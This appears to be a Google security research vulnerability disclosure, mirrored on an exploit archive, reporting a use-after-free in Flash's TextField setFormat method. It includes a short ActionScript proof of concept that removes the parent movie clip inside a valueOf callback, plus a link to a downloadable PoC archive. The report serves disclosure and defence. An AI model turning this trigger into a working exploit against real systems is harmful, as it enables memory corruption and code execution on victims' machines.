33 lines
No EOL
830 B
Text
33 lines
No EOL
830 B
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=586
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The TextField setFormat method contains a use-after-free. If an integer parameter has valueOf defined, or the object parameter overrides a constructor, this method can free the TextField parent, which is subsequently used.
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A minimal PoC is as follows:
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var times = 0;
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var mc = this.createEmptyMovieClip("mc", 101);
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var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
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var f = new TextFormat();
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tf.setFormat( {valueOf : func}, 2, f);
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function func(){
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if(times == 0){
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times++;
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return 0;
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}
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mc.removeMovieClip();
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// Fix heap here
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return 0;
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}
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A sample swf and fla are attached.
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Proof of Concept:
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https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39046.zip |